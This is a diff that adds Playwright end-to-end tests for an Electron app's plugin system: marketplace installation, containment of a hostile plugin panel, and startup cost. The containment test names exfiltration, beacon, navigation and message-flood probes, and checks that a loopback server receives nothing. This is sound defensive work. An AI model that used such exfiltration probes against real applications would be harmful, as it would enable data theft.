+  return gitEnvironment
+}
+
+async function createMarketplaceFixture(): Promise<MarketplaceFixture> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-marketplace-e2e-'))
+  const repositories = join(root, 'repositories')
+  const home = join(root, 'home')
+  await mkdir(repositories, { recursive: true })
+  await mkdir(home, { recursive: true })
+  const gitEnvironment = await configureFixtureGit(home, repositories)
+  await copyLaunchPlugin(
+    repositories,
+    'orca-portuguese',
+    'stablyai.orca-portuguese',
+    gitEnvironment
+  )
+  await copyLaunchPlugin(
+    repositories,
+    'orca-multipass-recipes',
+    'stablyai.orca-multipass-recipes',
+    gitEnvironment
+  )
+  await copyLaunchPlugin(
+    repositories,
+    'orca-navigation-shortcuts',
+    'stablyai.orca-navigation-shortcuts',
+    gitEnvironment
+  )
+
+  const marketplaceRepository = join(repositories, 'orca-plugins.git')
+  await mkdir(marketplaceRepository, { recursive: true })
+  await writeFile(
+    join(marketplaceRepository, 'orca-marketplace.json'),
+    `${JSON.stringify(
+      {
+        name: 'Orca Plugins',
+        owner: 'stablyai',
+        plugins: [
+          ['stablyai.orca-portuguese', 'orca-portuguese', 'languages'],
+          ['stablyai.orca-multipass-recipes', 'orca-multipass-recipes', 'vm-recipes'],
+          ['stablyai.orca-navigation-shortcuts', 'orca-navigation-shortcuts', 'keybindings']
+        ].map(([id, repository, category]) => ({
+          id,
+          source: {
+            kind: 'git',
+            url: `https://github.com/stablyai/${repository}.git`,
+            ref: 'v1.0.0'
+          },
+          categories: [category]
+        }))
+      },
+      null,
+      2
+    )}\n`
+  )
+  await commitRepository(marketplaceRepository, gitEnvironment)
+
+  return {
+    root,
+    home,
+    gitEnvironment
+  }
+}
+
+async function openPluginSettings(page: Page): Promise<void> {
+  await page.evaluate(() => {
+    const state = window.__store?.getState()
+    if (!state) {
+      throw new Error('store unavailable')
+    }
+    state.openSettingsTarget({ pane: 'plugins', repoId: null })
+    state.openSettingsPage()
+  })
+  await expect(page.locator('[data-settings-section="plugins"]')).toBeVisible()
+}
+
+async function installMarketplacePluginThroughUi(
+  page: Page,
+  pluginKey: string,
+  pluginName: string,
+  consentDialogName: string
+): Promise<void> {
+  const listing = page.locator(`[data-marketplace-plugin-key="${pluginKey}"]`)
+  await expect(listing).toBeVisible()
+  await listing.getByRole('button', { name: 'Review' }).click()
+  const preview = page.getByRole('dialog', { name: pluginName })
+  await expect(preview).toContainText(pluginKey)
+  await preview.getByRole('button', { name: 'Install plugin' }).click()
+  const consent = page.getByRole('dialog', { name: consentDialogName })
+  await expect(consent).toBeVisible()
+  await consent.getByRole('button', { name: 'Enable plugin' }).click()
+  await expect(consent).toBeHidden()
+}
+
+async function applyInstalledLanguage(page: Page): Promise<void> {
+  const languageId = 'plugin:stablyai.orca-portuguese/pt-BR'
+  await page.evaluate(() => {
+    const state = window.__store?.getState()
+    if (!state) {
+      throw new Error('store unavailable')
+    }
+    state.openSettingsTarget({ pane: 'appearance', repoId: null })
+  })
+  await expect(page.locator('[data-settings-section="appearance"]')).toBeVisible()
+  await page.evaluate(() => window.__store?.setState({ settingsSearchQuery: 'Language' }))
+  await page.getByRole('combobox', { name: 'Language' }).click()
+  await page.getByRole('option', { name: 'pt-BR — stablyai.orca-portuguese', exact: true }).click()
+  await expect
+    .poll(() => page.evaluate(() => window.__store?.getState().settings?.uiLanguage))
+    .toBe(languageId)
+}
+
+async function runMarketplaceJourney(page: Page): Promise<void> {
+  const startedAt = Date.now()
+  await openPluginSettings(page)
+  const pluginSystem = page.getByRole('switch', { name: 'Plugin system' })
+  await pluginSystem.click()
+  await expect(pluginSystem).toBeChecked()
+  await expect
+    .poll(
+      () =>
+        page.evaluate(async () => ({
+          sources: await window.api.plugins.listMarketplaces(),
+          listings: await window.api.plugins.listMarketplacePlugins()
+        })),
+      { timeout: 30_000 }
+    )
+    .toMatchObject({
+      sources: [expect.objectContaining({ official: true, stale: false })],
+      listings: expect.arrayContaining([
+        expect.objectContaining({ pluginKey: 'stablyai.orca-portuguese', official: true }),
+        expect.objectContaining({ pluginKey: 'stablyai.orca-multipass-recipes', official: true }),
+        expect.objectContaining({
+          pluginKey: 'stablyai.orca-navigation-shortcuts',
+          official: true
+        })
+      ])
+    })
+
+  await installMarketplacePluginThroughUi(
+    page,
+    'stablyai.orca-portuguese',
+    'Português do Brasil',
+    'Review plugin'
+  )
+  await installMarketplacePluginThroughUi(
+    page,
+    'stablyai.orca-multipass-recipes',
+    'Multipass VM Recipes',
+    'Review plugin content'
+  )
+  await installMarketplacePluginThroughUi(
+    page,
+    'stablyai.orca-navigation-shortcuts',
+    'Orca Navigation Shortcuts',
+    'Review plugin content'
+  )
+
+  await applyInstalledLanguage(page)
+  expect(Date.now() - startedAt).toBeLessThan(120_000)
+}
+
+// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo.
+test('installs and applies official Phase 1 content from a fresh profile', async ({}, testInfo) => {
+  test.setTimeout(180_000)
+  const fixture = await createMarketplaceFixture()
+  const session = createRestartSession(testInfo as TestInfo, {
+    extraEnv: {
+      ...fixture.gitEnvironment
+    }
+  })
+  let launched: Awaited<ReturnType<typeof session.launch>> | null = null
+  try {
+    launched = await session.launch()
+    await runMarketplaceJourney(launched.page)
+  } finally {
+    if (launched) {
+      await session.close(launched.app)
+    }
+    await session.dispose()
+    await rm(fixture.root, { recursive: true, force: true })
+  }
+})
diff --git a/tests/e2e/plugin-panel-containment.spec.ts b/tests/e2e/plugin-panel-containment.spec.ts
new file mode 100644
index 000000000..19f64bb87
--- /dev/null
+++ b/tests/e2e/plugin-panel-containment.spec.ts
@@ -0,0 +1,344 @@
+/**
+ * Invariant: a plugin panel cannot exfiltrate, navigate, or bypass bridge budgets.
+ * Oracle: a permissive loopback server receives zero requests while the real
+ * sandboxed iframe reports CSP/navigation containment and actual budget refusals.
+ * Chromium is required because Vitest cannot exercise CSP or iframe sandboxing.
+ * Maturity: experimental until this has CI soak history on all desktop platforms.
+ */
+
+import { cp, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
+import { createServer, type Server } from 'node:http'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import type { AddressInfo } from 'node:net'
+import type { ElectronApplication, FrameLocator, Page, TestInfo } from '@stablyai/playwright-test'
+import { expect, test } from './helpers/orca-app'
+
+type InstalledPanel = {
+  pluginKey: string
+  tabKey: string
+  title: string
+}
+
+type ProbeServer = {
+  origin: string
+  requests: string[]
+  close: () => Promise<void>
+}
+
+type PanelDocumentSnapshot = {
+  url: string
+  title: string
+  html: string
+}
+
+type ElectronFrameProcess = {
+  frameTreeNodeId: number
+  parentFrameTreeNodeId: number | null
+  processId: number
+  osProcessId: number
+  url: string
+  origin: string
+  marker: string | null
+}
+
+async function closeServer(server: Server): Promise<void> {
+  await new Promise<void>((resolve, reject) => {
+    server.close((error) => {
+      if (error) {
+        reject(error)
+        return
+      }
+      resolve()
+    })
+  })
+}
+
+async function startPermissiveProbeServer(): Promise<ProbeServer> {
+  const requests: string[] = []
+  const gif = Buffer.from('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=', 'base64')
+  const server = createServer((request, response) => {
+    requests.push(request.url ?? '/')
+    response.setHeader('Access-Control-Allow-Origin', '*')
+    if (request.url?.includes('beacon.gif')) {
+      response.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': gif.byteLength })
+      response.end(gif)
+      return
+    }
+    response.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' })
+    response.end('permissive probe response')
+  })
+  await new Promise<void>((resolve) => server.listen(0, '127.0.0.1', resolve))
+  const port = (server.address() as AddressInfo).port
+  return {
+    origin: `http://127.0.0.1:${port}`,
+    requests,
+    close: () => closeServer(server)
+  }
+}
+
+async function materializeHostilePlugin(origin: string): Promise<string> {
+  const tempRoot = await mkdtemp(join(tmpdir(), 'orca-hostile-panel-e2e-'))
+  const pluginRoot = join(tempRoot, 'hostile-panel')
+  await cp(join(process.cwd(), 'examples', 'plugins', 'hostile-panel'), pluginRoot, {
+    recursive: true
+  })
+  const panelPath = join(pluginRoot, 'panel.html')
+  const panelHtml = await readFile(panelPath, 'utf8')
+  await writeFile(panelPath, panelHtml.replaceAll('https://example.com', origin))
+  return pluginRoot
+}
+
+async function installApprovedPanel(page: Page, sourcePath: string): Promise<InstalledPanel> {
+  return page.evaluate(async (pluginPath) => {
+    const settings = await window.api.settings.set({ pluginSystemEnabled: true })
+    window.__store?.setState({ settings })
+    await window.api.plugins.refresh()
+    const installed = await window.api.plugins.install({ kind: 'local-path', path: pluginPath })
+    if (!installed.ok) {
+      throw new Error(installed.error)
+    }
+    const listed = await window.api.plugins.refresh()
+    const plugin = listed.find((entry) => entry.pluginKey === installed.pluginKey)
+    if (!plugin?.consentFingerprint || !plugin.panels[0]) {
+      throw new Error(`installed plugin ${installed.pluginKey} has no reviewable panel`)
+    }
+    const approved = await window.api.plugins.consent({
+      pluginKey: plugin.pluginKey,
+      reviewedFingerprint: plugin.consentFingerprint,
+      decision: 'approve'
+    })
+    const approvedPlugin = approved.find((entry) => entry.pluginKey === plugin.pluginKey)
+    const panel = approvedPlugin?.panels[0]
+    if (!panel) {
+      throw new Error(`approved plugin ${plugin.pluginKey} has no panel`)
+    }
+    return { pluginKey: plugin.pluginKey, tabKey: panel.tabKey, title: panel.title }
+  }, sourcePath)
+}
+
+async function openPanel(page: Page, panel: InstalledPanel): Promise<void> {
+  await page.evaluate(async () => {
+    const store = window.__store?.getState()
+    if (!store) {
+      throw new Error('window.__store is unavailable')
+    }
+    if (!store.rightSidebarOpen) {
+      store.toggleRightSidebar()
+    }
+    // Refresh after the sidebar subscription exists so this isolated profile
+    // cannot miss the install/consent change events emitted just before mount.
+    await window.api.plugins.refresh()
+  })
+  const panelButton = page.getByRole('button', { name: panel.title })
+  await expect(panelButton).toBeVisible({ timeout: 15_000 })
+  await panelButton.click()
+  await expect(page.locator(`iframe[title="${panel.title}"]`)).toBeVisible({ timeout: 15_000 })
+}
+
+async function attachProbeRequests(testInfo: TestInfo, requests: readonly string[]): Promise<void> {
+  await testInfo.attach('hostile-panel-loopback-requests', {
+    body: Buffer.from(JSON.stringify(requests, null, 2)),
+    contentType: 'application/json'
+  })
+}
+
+async function readPanelDocument(frame: FrameLocator): Promise<PanelDocumentSnapshot> {
+  return frame.locator('html').evaluate((element) => ({
+    url: element.ownerDocument.location.href,
+    title: element.ownerDocument.title,
+    html: element.outerHTML
+  }))
+}
+
+async function inspectElectronFrameProcesses(
+  electronApp: ElectronApplication,
+  pageUrl: string
+): Promise<ElectronFrameProcess[]> {
+  return electronApp.evaluate(async ({ BrowserWindow }, expectedUrl) => {
+    const browserWindow =
+      BrowserWindow.getAllWindows().find(
+        (candidate) => candidate.webContents.getURL() === expectedUrl
+      ) ?? BrowserWindow.getAllWindows()[0]
+    if (!browserWindow) {
+      return []
+    }
+    return Promise.all(
+      browserWindow.webContents.mainFrame.framesInSubtree.map(async (frame) => {
+        let marker: string | null = null
+        try {
+          const value = await frame.executeJavaScript(
+            "document.querySelector('h1')?.textContent ?? null"
+          )
+          marker = typeof value === 'string' ? value : null
+        } catch {
+          // A frame can detach while Chromium reports the live frame tree.
+        }
+        return {
+          frameTreeNodeId: frame.frameTreeNodeId,
+          parentFrameTreeNodeId: frame.parent?.frameTreeNodeId ?? null,
+          processId: frame.processId,
+          osProcessId: frame.osProcessId,
+          url: frame.url,
+          origin: frame.origin,
+          marker
+        }
+      })
+    )
+  }, pageUrl)
+}
+
+test('contains hostile panel network, navigation, and bridge-flood probes', async ({
+  orcaPage
+}, testInfo) => {
+  testInfo.annotations.push({ type: 'maturity', description: 'experimental' })
+  const server = await startPermissiveProbeServer()
+  const pluginRoot = await materializeHostilePlugin(server.origin)
+  const tempRoot = join(pluginRoot, '..')
+  const appUrl = orcaPage.url()
+  const browserEvents: string[] = []
+  const panelDocuments: PanelDocumentSnapshot[] = []
+  orcaPage.on('console', (message) => {
+    browserEvents.push(`console:${message.type()}:${message.text()}`)
+  })
+  orcaPage.on('pageerror', (error) => {
+    browserEvents.push(`pageerror:${error.message}`)
+  })
+  orcaPage.on('framenavigated', (frame) => {
+    browserEvents.push(`framenavigated:${frame.url()}`)
+  })
+  try {
+    const panel = await installApprovedPanel(orcaPage, pluginRoot)
+    await openPanel(orcaPage, panel)
+
+    const iframe = orcaPage.locator(`iframe[title="${panel.title}"]`)
+    await expect(iframe).toHaveAttribute('sandbox', 'allow-scripts')
+    const frame = orcaPage.frameLocator(`iframe[title="${panel.title}"]`)
+    await expect(frame.locator('meta[http-equiv="Content-Security-Policy"]')).toHaveAttribute(
+      'content',
+      /connect-src 'none'.*img-src data:/
+    )
+    const initialPanelDebug = await frame.locator('html').evaluate((element) => ({
+      readyState: element.ownerDocument.readyState,
+      scriptCount: element.ownerDocument.scripts.length,
+      resultCount: element.querySelectorAll('[data-probe]').length,
+      bodyText: element.ownerDocument.body?.textContent ?? '',
+      scriptText: Array.from(element.ownerDocument.scripts, (script) => script.textContent ?? '')
+    }))
+    await testInfo.attach('hostile-panel-initial-debug', {
+      body: Buffer.from(JSON.stringify(initialPanelDebug, null, 2)),
+      contentType: 'application/json'
+    })
+
+    for (const probe of ['fetch-exfil', 'img-beacon']) {
+      await expect(frame.locator(`[data-probe="${probe}"]`)).toHaveAttribute(
+        'data-contained',
+        'true',
+        { timeout: 5_000 }
+      )
+    }
+
+    await frame.getByRole('button', { name: 'Run bridge budget probes' }).click()
+    for (const probe of ['oversized-message', 'message-flood']) {
+      await expect(frame.locator(`[data-probe="${probe}"]`)).toHaveAttribute(
+        'data-contained',
+        'true',
+        { timeout: 5_000 }
+      )
+    }
+
+    expect(server.requests).toEqual([])
+    expect(orcaPage.url()).toBe(appUrl)
+    await expect(iframe).toBeVisible()
+
+    const initialDocument = await readPanelDocument(frame)
+    panelDocuments.push(initialDocument)
+    for (const navigation of [
+      { button: 'Try top navigation', probe: 'top-navigation' },
+      { button: 'Try self navigation', probe: 'self-navigation' },
+      { button: 'Try anchor and form navigation', probe: 'anchor-form-navigation' },
+      { button: 'Try meta refresh navigation', probe: 'meta-refresh-navigation' }
+    ]) {
+      await frame.getByRole('button', { name: navigation.button }).click()
+      await expect(frame.locator(`[data-probe="${navigation.probe}"]`)).toHaveAttribute(
+        'data-contained',
+        'true',
+        { timeout: 5_000 }
+      )
+      const currentDocument = await readPanelDocument(frame)
+      panelDocuments.push(currentDocument)
+      expect(currentDocument.url).toBe(initialDocument.url)
+      expect(currentDocument.html).toContain('Hostile panel fixture')
+      expect(server.requests).toEqual([])
+      expect(orcaPage.url()).toBe(appUrl)
+    }
+  } finally {
+    await attachProbeRequests(testInfo, server.requests)
+    await testInfo.attach('hostile-panel-browser-events', {
+      body: Buffer.from(browserEvents.join('\n')),
+      contentType: 'text/plain'
+    })
+    await testInfo.attach('hostile-panel-documents', {
+      body: Buffer.from(JSON.stringify(panelDocuments, null, 2)),
+      contentType: 'application/json'
+    })
+    await server.close()
+    await rm(tempRoot, { recursive: true, force: true })
+  }
+})
+
+test('detects and suspends a busy-looping panel in an isolated renderer', async ({
+  electronApp,
+  orcaPage
+}, testInfo) => {
+  testInfo.annotations.push({ type: 'maturity', description: 'experimental' })
+  const server = await startPermissiveProbeServer()
+  const pluginRoot = await materializeHostilePlugin(server.origin)
+  const tempRoot = join(pluginRoot, '..')
+  const appUrl = orcaPage.url()
+  let frameProcesses: ElectronFrameProcess[] = []
+  try {
+    const panel = await installApprovedPanel(orcaPage, pluginRoot)
+    await openPanel(orcaPage, panel)
+
+    await expect
+      .poll(
+        async () => {
+          frameProcesses = await inspectElectronFrameProcesses(electronApp, appUrl)
+          return frameProcesses.some((frame) => frame.marker === 'Hostile panel fixture')
+        },
+        { timeout: 5_000, message: 'hostile panel should appear in Electron frame tree' }
+      )
+      .toBe(true)
+
+    const mainFrame = frameProcesses.find((frame) => frame.parentFrameTreeNodeId === null)
+    const panelFrame = frameProcesses.find((frame) => frame.marker === 'Hostile panel fixture')
+    expect(mainFrame).toBeTruthy()
+    expect(panelFrame).toBeTruthy()
+    expect(panelFrame?.processId).not.toBe(mainFrame?.processId)
+    expect(panelFrame?.osProcessId).not.toBe(mainFrame?.osProcessId)
+
+    const iframe = orcaPage.locator(`iframe[title="${panel.title}"]`)
+    await iframe.evaluate((element) => {
+      const panelWindow = (element as HTMLIFrameElement).contentWindow
+      panelWindow?.postMessage({ type: 'orca-hostile-busy-probe' }, '*')
+    })
+
+    await expect(
+      orcaPage.getByText('This plugin panel stopped responding and was suspended.')
+    ).toBeVisible({ timeout: 20_000 })
+    await expect(
+      orcaPage.getByRole('button', { name: new RegExp(`${panel.title}.*Error`) })
+    ).toBeVisible()
+    expect(orcaPage.url()).toBe(appUrl)
+    expect(server.requests).toEqual([])
+  } finally {
+    await testInfo.attach('hostile-panel-frame-processes', {
+      body: Buffer.from(JSON.stringify(frameProcesses, null, 2)),
+      contentType: 'application/json'
+    })
+    await attachProbeRequests(testInfo, server.requests)
+    await server.close()
+    await rm(tempRoot, { recursive: true, force: true })
+  }
+})
diff --git a/tests/e2e/plugin-startup-budget.spec.ts b/tests/e2e/plugin-startup-budget.spec.ts
new file mode 100644
index 000000000..77e565d53
--- /dev/null
+++ b/tests/e2e/plugin-startup-budget.spec.ts
@@ -0,0 +1,155 @@
+/**
+ * App-level complement to the deterministic subsystem P95 test: alternate
+ * real Electron launches with zero and twenty approved plugins, then compare
+ * startup milestones and prove no worker entry executed before a trigger.
+ */
+
+import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { join } from 'node:path'
+import { expect, test, type ElectronApplication, type TestInfo } from '@stablyai/playwright-test'
+import { fingerprintPluginConsent } from '../../src/shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema } from '../../src/shared/plugins/plugin-manifest'
+import { createRestartSession } from './helpers/orca-restart'
+
+const PLUGIN_COUNT = 20
+const SAMPLE_COUNT = 3
+
+type StartupSample = {
+  readyToShowMs: number
+  pluginDurationMs: number
+  installedPlugins: number
+}
+
+function updateProfile(userDataDir: string, pluginConsents: Record<string, string>): void {
+  const profilePath = join(userDataDir, 'orca-data.json')
+  const profile = JSON.parse(readFileSync(profilePath, 'utf8')) as {
+    settings?: Record<string, unknown>
+  }
+  profile.settings = {
+    ...profile.settings,
+    pluginSystemEnabled: true,
+    pluginConsents,
+    disabledPlugins: [],
+    devPluginPaths: []
+  }
+  writeFileSync(profilePath, `${JSON.stringify(profile, null, 2)}\n`)
+}
+
+function seedPlugins(userDataDir: string, count: number): string[] {
+  const pluginsDir = join(userDataDir, 'plugins')
+  rmSync(pluginsDir, { recursive: true, force: true })
+  mkdirSync(pluginsDir, { recursive: true })
+  const pluginConsents: Record<string, string> = {}
+  const markerPaths: string[] = []
+  for (let index = 0; index < count; index += 1) {
+    const manifest = pluginManifestSchema.parse({
+      manifestVersion: 1,
+      id: `startup-${index}`,
+      publisher: 'budget',
+      name: `Startup ${index}`,
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      main: 'main.mjs',
+      contributes: { panels: [], commands: [], events: [] },
+      capabilities: []
+    })
+    const pluginKey = `${manifest.publisher}.${manifest.id}`
+    const contentHash = (index + 1).toString(16).padStart(64, '0')
+    const versionDir = join(pluginsDir, pluginKey, contentHash)
+    const markerPath = join(userDataDir, `plugin-startup-marker-${index}`)
+    mkdirSync(versionDir, { recursive: true })
+    writeFileSync(join(pluginsDir, pluginKey, 'current'), contentHash)
+    writeFileSync(join(versionDir, 'orca-plugin.json'), JSON.stringify(manifest))
+    writeFileSync(
+      join(versionDir, 'main.mjs'),
+      `import { writeFileSync } from 'node:fs'; writeFileSync(${JSON.stringify(markerPath)}, 'executed')`
+    )
+    pluginConsents[pluginKey] = fingerprintPluginConsent(manifest)
+    markerPaths.push(markerPath)
+  }
+  updateProfile(userDataDir, pluginConsents)
+  return markerPaths
+}
+
+function parseMetric(output: string, event: string, key: string): number | null {
+  const line = output.split('\n').find((candidate) => candidate.startsWith(`[startup] ${event} `))
+  const value = line?.match(new RegExp(`(?:^| )${key}=([0-9.]+)(?: |$)`))?.[1]
+  return value === undefined ? null : Number(value)
+}
+
+async function launchSample(
+  session: ReturnType<typeof createRestartSession>,
+  expectedPlugins: number,
+  testInfo: TestInfo
+): Promise<StartupSample> {
+  let output = ''
+  const attachLogs = (app: ElectronApplication): void => {
+    app.process().stderr?.on('data', (chunk: Buffer) => {
+      output += chunk.toString('utf8')
+    })
+  }
+  const launched = await session.launch(attachLogs)
+  try {
+    await expect
+      .poll(
+        () => ({
+          ready: parseMetric(output, 'ready-to-show', 't'),
+          duration: parseMetric(output, 'plugin-system-initialized', 'durationMs'),
+          count: parseMetric(output, 'plugin-system-initialized', 'installedPlugins')
+        }),
+        { timeout: 30_000 }
+      )
+      .toMatchObject({
+        ready: expect.any(Number),
+        duration: expect.any(Number),
+        count: expectedPlugins
+      })
+    await testInfo.attach(`plugin-startup-${expectedPlugins}-${Date.now()}.log`, {
+      body: Buffer.from(output),
+      contentType: 'text/plain'
+    })
+    return {
+      readyToShowMs: parseMetric(output, 'ready-to-show', 't')!,
+      pluginDurationMs: parseMetric(output, 'plugin-system-initialized', 'durationMs')!,
+      installedPlugins: parseMetric(output, 'plugin-system-initialized', 'installedPlugins')!
+    }
+  } finally {
+    await session.close(launched.app)
+  }
+}
+
+function median(values: readonly number[]): number {
+  const sorted = [...values].sort((left, right) => left - right)
+  return sorted[Math.floor(sorted.length / 2)]!
+}
+
+// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo.
+test('keeps real Electron launch stable with 20 approved inert plugins', async ({}, testInfo) => {
+  test.setTimeout(240_000)
+  const session = createRestartSession(testInfo, {
+    extraEnv: { ORCA_STARTUP_DIAGNOSTICS: '1' }
+  })
+  const baseline: StartupSample[] = []
+  const populated: StartupSample[] = []
+  let markerPaths: string[] = []
+  try {
+    for (let sample = 0; sample < SAMPLE_COUNT; sample += 1) {
+      seedPlugins(session.userDataDir, 0)
+      baseline.push(await launchSample(session, 0, testInfo))
+      markerPaths = seedPlugins(session.userDataDir, PLUGIN_COUNT)
+      populated.push(await launchSample(session, PLUGIN_COUNT, testInfo))
+    }
+
+    // The isolated 20-sample unit gate owns the ≤50 ms P95. This app-level
+    // complement measures the user-visible launch delta because background
+    // discovery completion overlaps unrelated main-process startup work.
+    expect(populated.every((sample) => Number.isFinite(sample.pluginDurationMs))).toBe(true)
+    expect(median(populated.map((sample) => sample.readyToShowMs))).toBeLessThanOrEqual(
+      median(baseline.map((sample) => sample.readyToShowMs)) + 50
+    )
+    expect(markerPaths.every((markerPath) => !existsSync(markerPath))).toBe(true)
+  } finally {
+    await session.dispose()
+  }
+})